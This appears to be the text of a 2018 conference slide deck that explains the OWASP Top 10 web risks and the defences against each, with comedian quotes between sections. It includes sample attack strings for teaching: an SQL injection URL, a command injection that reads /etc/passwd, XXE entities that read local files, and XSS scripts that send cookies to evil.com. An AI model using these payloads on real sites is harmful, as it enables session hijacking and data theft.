OWASP Top 10 - The Ten Most Critical Web Application Security Risks

All Things Open 2018
Michael Peters
Technical Lead in Cloud Ops
Cisco
OWASP Top 10

• Open Web Application Security Project
• Started in 2001, Foundation started in 2004.
• "Produces freely-available articles,
methodologies, documentation, tools, and
technologies in the ﬁeld of web application
security"
• Mainly known for it's "Top 10" list which is
periodically updated
OWASP
What is it?
2

• Compile list of top 10 security vulnerabilities
found most commonly in the wild.
• Using industry and community feedback
• Periodically updated to reﬂect progress or new
attacks or to simplify/merge items.
• "Fixed" things fall off
• New hotness gets added
OWASP TOP 10
What is it?
3

Grades each vulnerability by Exploitability,
Prevalence, Detectability and Technical Impact on a
1-3 scale (3 being worse).
OWASP TOP 10
What is it?
4

• Last updated in 2017. Previous version was in
2013
• 3 new categories: XXE, Insecure Deserialization,
Insufﬁcient Logging and Monitoring
• 1 merged category: Broken Access Controls
(merged Insecure Direct Object References and
Missing Function Level Access Control)
• Removed 2 categories: CSRF and Unvalidated
Redirects and Forwards
OWASP TOP 10
Changes?
5

• User-supplied data is used incorrectly in dynamic
queries, commands or procedures
• More common forms: SQL, No-SQL, OS
Command, ORM, LDAP.
• All forms of input are evil: HTTP body, HTTP
Headers, Cookies, JSON, XML, URL
• These "tainted" strings could be used to craft SQL
queries, or OS commands. It's non-trivial to get
the quoting/escaping right.
#1 - INJECTION
Exploitability: 3, Prevalence: 2, Detectability: 3
6

String query = "SELECT * FROM accounts WHERE
custID='" + req.get("id") + "'"
#1 - INJECTION
Example #1 - SQL Injection
7

http://site.com/account-view?
id=%27%20or%20%271%27%3D%271
#1 - INJECTION
8

http://site.com/account-view?id=' or '1'='1
#1 - INJECTION
9

String cmd = "pdf2html /path/to/docs/" +
req.get('doc') + "' > file.html";
#1 - INJECTION
10
Example #2 - OS Command Injection

String cmd = "pdf2html /path/to/docs/" +
req.get('doc') + "' > file.html";
http://site.com/doc-view?doc=|| cat /etc/passwd
#1 - INJECTION
11
Example #2 - OS Command Injection

• User-supplied data absolutely should not be
trusted. Validate server-side.
• For SQL use parameterized queries. ORMs
should help
• Use a whitelist whenever possible.
• DSLs and Shells are complicated beasts and
trying to guess at all the ways they can be
abused is difﬁcult
• If you can't whitelist, be very thorough in escaping
and quoting in the context the data is used
• "Validate on input; Escape on output"
#1 - INJECTION
12
Prevention

13
My friend asked me if I wanted a
frozen banana, but I said "No...
but I want a regular banana later,
so yeah."
- Mitch Hedberg
😜

• You might be broken if your app:
• Allows brute force attacks (no rate limiting)
• Permits weak or default credentials
• Uses weak credential recovery (eg,
"knowledge-based answers")
• Uses plain text, encrypted or weakly hashed
passwords
• Exposes session-ids in URLs
• Doesn't invalidate sessions (logout or timeout)
#2 - BROKEN AUTHENTICATION
14

• NIST 800-63 actually recommends against using
passwords as a sole factor.
• Use it as part of multi-factor auth
• Or replace with something like OAuth
• If you must use passwords:
• Enforce strong passwords
• Store them securely
• strong hash function (Argon2 , PBKDF2 , scrypt
or bcrypt) or HMAC
• unique salt
• protected = salt + hash(salt, credential)
15
Prevention

• Rate Limit your login.
• Limit from a single source (IP)
• Limit for a user
• Log all failures
• Protect your Forgot PW functionality
• Use multiple pieces of hard data
• Use generic error messages
• Send token over a side-channel (email, text)
• Log all attempts to reset and all successes.
16
Prevention

17
I ﬁnd that a duck's opinion of me
is very much inﬂuenced over
whether or not I have bread.
- Mitch Hedberg
😜

• What are the data protection needs or your data?
• PII, PCI, GDPR, etc
• At-Rest vs In-Transit
• Clear-Text vs Encrypted
• Same rules apply to backups
• Any old/weak crypto used?
• Any certiﬁcates not veriﬁed?
#3 - SENSITIVE DATA EXPOSURE
18

• An application encrypts credit card numbers in a
database using the database's encryption.
However, this data is automatically decrypted
when retrieved, allowing an SQL injection ﬂaw to
retrieve credit card numbers in clear text.
Examples
19

• A social media site allows advertisers using their
API to select which additional ﬁelds they want
returned. The list of ﬁelds wasn't protected but
allowed advertisers to select things that were
considered private for the users and their
friends...  
 
(and then doesn't tell anyone about it until they
shut the service down several months later)
Examples
20

• Classify all data processed, stored or transmitted
• Take into account privacy laws, regulatory
requirements and business needs
• Don't store sensitive data unnecessarily. Discard
it as soon as possible. Data that is not retained
can't be leaked
• Encrypt all sensitive data at-rest and in-transit
• Disable caching for responses that might contain
sensitive data
21
Prevention

22
I had a paper route when I was a
kid. I was a paperboy. I was
supposed to go to 2,000
houses... or two dumpsters.
- Mitch Hedberg
😜

• Are you doing any processing of user-supplied
XML (REST, SOAP, SAML, etc) with DTDs or
External Entities enabled?
• DTDs/EEs are external URIs that are
dereferenced and evaluated during XML
processing.
• Can be used to extract data, execute a remote
request, perform DoS attacks, scan internal
systems and more.
#4 - XML EXTERNAL ENTITIES (XXE)
23

<?xml version="1.0" encoding="ISO-885901"?>
<!DOCTYPE foo [
<!ELEMENT foo any >
<!ENTITY xxe SYSTEM "file:///etc/password" >]>
<foo>&xxe</foo>
24
Examples

<!DOCTYPE foo [
<!ELEMENT foo any >
<!ENTITY xxe SYSTEM "https://127.0.0.1/
private" >]>
<foo>&xxe</foo>
25
Examples

<!DOCTYPE foo [
<!ELEMENT foo any >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe</foo>
26
Examples

• Use less complex data formats such as JSON
• Patch or upgrade all XML processors and
libraries
• SOAP 1.2+
• Disable XML external entity and DTD processing
in your parser
• Validate XML or XSL with XSD
27
Prevention

28
I don't have a girlfriend. I just
know a girl who would get really
mad if she heard me say that.
- Mitch Hedberg
😜

• Bypassing access controls by modifying the URL
or request parameters
• Elevation of privilege (acting as an admin when
logged in as a normal user)
• Metadata manipulation - replaying access tokens,
cookies, or changing hidden field values
• CORS misconfiguration
• Forgetting to configure access controls for other
HTTP methods (POST, PUT, DELETE, etc).
#5 - BROKEN ACCESS CONTROL
29

http://site.com/your-account?user_id=12839
30
Examples
http://site.com/your-account-admin?user_id=1283

• Access should be controlled server-side (do I
really have to say that?)
• Whitelist public resources. Deny everything else
by default
• Minimize CORS usage
• Access Controls should enforce record ownership
• Enforce data access at the Model layer
31
Prevention

• Disable web server directory listing; remove
meta-data ﬁles (like .git)
• Log access control failures, alert where
appropriate
• Access tokens should be invalidated after logout
• Rate limiting can minimize potential harm
32
Prevention

33
One time a guy handed me a
picture, he said "Here's a picture
of me when I was younger."
Every picture of you is when you
were younger.
- Mitch Hedberg
😜

• Missing security hardening across any part of the
application stack
• Unnecessary features are enabled or installed
• ports, services, accounts, etc
• Error handling reveals stack traces
• Latest security features are disabled
• Settings in the application's servers, frameworks,
libraries, etc are not set to secure values
• Software is out of date or has known
vulnerabilities
#6 - SECURITY MISCONFIGURATION
34

• Directory listing is not disabled on the server. An
attacker discovers they can simply list directories.
The attacker finds your code (or if compiled,
downloads and decompiles to get code), reverse
engineers it and analyzes it. The attacker then
finds a serious access control flaw in the
application
Examples
35

• You have left your S3 buckets to be publicly
accessible because your application needs to
read and write from it. Now your backups and
logs are accessible to the world.
Examples
36

• A development tool is accidentally included in a
production deployment. This tools is discovered
by attackers who can use it to gain additional
access, change stored data or gather other useful
details about how the system is implemented.
Examples
37

• A repeatable hardening process that makes it fast
and easy to deploy a new environment, or lock
down an existing one. - DevSecOps &
Conﬁguration Management
• Minimal platform without any unnecessary
features
• Review all conﬁguration options to just about
every piece (application server, frameworks,
cloud storage, etc)
• Automated security scans
38
Prevention

39
I like refried beans. That's why I
want to try fried beans. Because
maybe they're just as good and
we are wasting time.
- Mitch Hedberg
😜

• Exploits a browser's trust of the content received
from the server.
• Attackers inject client-side scripts into your
application
• Can bypass access controls and CORS
restrictions
• SAMY (MySpace Worm) - within 20 hours over 1
million users were affected.
• 3 main types: Reﬂected, Stored, and DOM
#7 - CROSS-SITE SCRIPTING (XSS)
40

• Site uses external input (usually URL) as part of
the displayed HTML without escaping it
• Misuse of tainted data is server-side
• Allows attacker to execute arbitrary HTML and
Javascript in the victim's browser as the victim.
• Hard for the victim to detect because they are
clicking on a link to a trusted domain.
Reﬂected XSS
41

Example: Reﬂected XSS
42
page += "Hi <em>" + req.get('username')
+ "</em>!";
http://site.com/dashboard?username=George
<script>document.location='http://evil.com/
steal-cookies?cookie=' + document.cookie</
script>

Stored XSS
43
• The application stores user input and then shows
that input back - unencoded - at a later time to a
different user or admin.
• Stored XSS is considered the most critical
because it can't be prevented by the victim and
the tainted data lives for a long time.

Example: Stored XSS
44
An application stores a user's name. There is also an
admin function of the app to show a list of users. The
admin screen does not HTML encode the user's
name on output. A malicious user submits a name
like this:
George <script>document.location='http://
evil.com/steal-cookies?cookie=' +
document.cookie</script>

DOM XSS
45
• Attacker-supplied data is sent to JavaScript
frameworks, single-page applications and APIs.
• Typical DOM XSS attacks can do DOM node
replacement or defacement (trojan login panels),
malicious software downloads, key logging, etc.
• Misuse of tainted data is client-side

Example: DOM XSS
46
<select name="language"><script>
document.write("<option value=default>" +
document.location.href.indexOf("lang=") + "</
option>");
...
</script></select>
http://site.com/home?lang=French <a
href="http://evil.com/steal-cookies?cookie=' +
document.cookie + '"></a>'

• Validate Input and Encode Output based on the
context it's used
• HTML body, attribute
• JavaScript
• CSS
• URL
• In addition, enable a Content Security Policy
(CSP) to control where external scripts can be
loaded from.
47
Prevention

48
I bought myself a parrot, the
parrot talked, but it did not say
"I'm hungry"... so it died.
- Mitch Hedberg
😜

• Object and data structure related attacks if the
application data deserialization can change
behavior during or after deserialization. Eg, can it
create classes or objects on the fly?
• Existing data structures or classes can be over-
written
• Can exist in lots of layers: RPC, IPC, message
brokers, caching/persistence, Databases (ORM),
file servers, etc
• Pretty difficult to exploit because it involves
detailed knowledge of app and architecture
#8 - INSECURE DESERIALIZATION
49

• A React application calls a set of Spring Boot
microservices. Being functional programmers,
they tried to ensure that their code is immutable.
The solution they came up with is serializing user
state and passing it back and forth with each
request. An attacker uses the Java Serial Killer
tool to gain remote code execution on the
application server.
Examples
50

• Use serialization that only supports primitive data
types (like JSON).
• If you must use serialized objects, make sure
they can't come from user input.
• Isolate deserialization code to run in low privilege
environments where possible
• Log deserialization failures
51
Prevention

52
I think Big Foot is blurry, that's
the problem.
- Mitch Hedberg
😜

• You are vulnerable if:
• You don't know the versions of all components
(and their dependencies) you use
• You don't subscribe to security bulletins for
your components
• Software is unsupported or out of date
• You do not scan for vulnerabilities regularly
• You don't upgrade underlying components in a
timely, consistent and automated fashion.
#9 - KNOWN VULNERABILITIES
53

• Remove any components and packages you
aren't actively using
• Continuous inventory of version of both client and
server side components
• Subscribe to security bulletin alerts
• Automated software composition analysis tools
• Only obtain components from ofﬁcial sources
over secure links
• Ongoing plan for updating, monitoring, triaging,
conﬁguring, etc for the lifetime of the application.
54
Prevention

• Equifax was using a vulnerable version of Apache
Struts. The vulnerability was disclosed and ﬁxed
in March, by September they hadn't updated all of
their systems. Some were updated by hand, but
others were missed since the process wasn't
automated nor routine. 143 million people had
their information stolen.
Example
55

56
Wearing a turtleneck is like being
strangled by a really weak guy...
all day.
- Mitch Hedberg
😜

• Important audit-able events are not logged
• logins, failed logins, password changes, etc
• Warnings and errors generate no, inadequate or
unclear log messages
• Logs are not monitored for suspicious activities
• Appropriate alerting thresholds are not in place
• Penetration testing and scans do not trigger alerts
#10 - INSUFFICIENT LOGGING
57

• An attacker uses a security scanner (like the
OWASP ZAP Proxy) to look for XSS
vulnerabilities in your application. It makes lots of
repeated requests that result in lots of 500 HTTP
errors in a short period of time. But because there
is no monitoring in place, those errors are ignored
and no real users are complaining. An attack
vector is discovered and a Stored XSS attack is
created.
Examples
58

• Ensure all important events are logged.
Especially access control successes and failures.
• Ensure logs are generated in a format that is
easily consumed
• Centralized log management with tampering
control
• Effective monitoring and alerting to catch
suspicious activity.
• Establish an incident response and recovery plan:
NIST 800-61
59
Prevention

60
This jacket is dry clean only...
which means it's dirty.
- Mitch Hedberg
😜

• https://www.owasp.org
• https://www.owasp.org/images/7/72/
OWASP_Top_10-2017_%28en%29.pdf.pdf
• https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
• https://www.owasp.org/index.php/Authentication_Cheat_Sheet
• https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Resources

62
I saw on HBO they were
advertising this boxing match, it
said "It's a ﬁght to the ﬁnish"...
that's a good place to end.
- Mitch Hedberg
😜

OWASP Top 10 - The Ten Most Critical Web Application Security Risks

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to OWASP Top 10 - The Ten Most Critical Web Application Security Risks

Similar to OWASP Top 10 - The Ten Most Critical Web Application Security Risks (20)

More from All Things Open

More from All Things Open (20)

Recently uploaded

Recently uploaded (20)

OWASP Top 10 - The Ten Most Critical Web Application Security Risks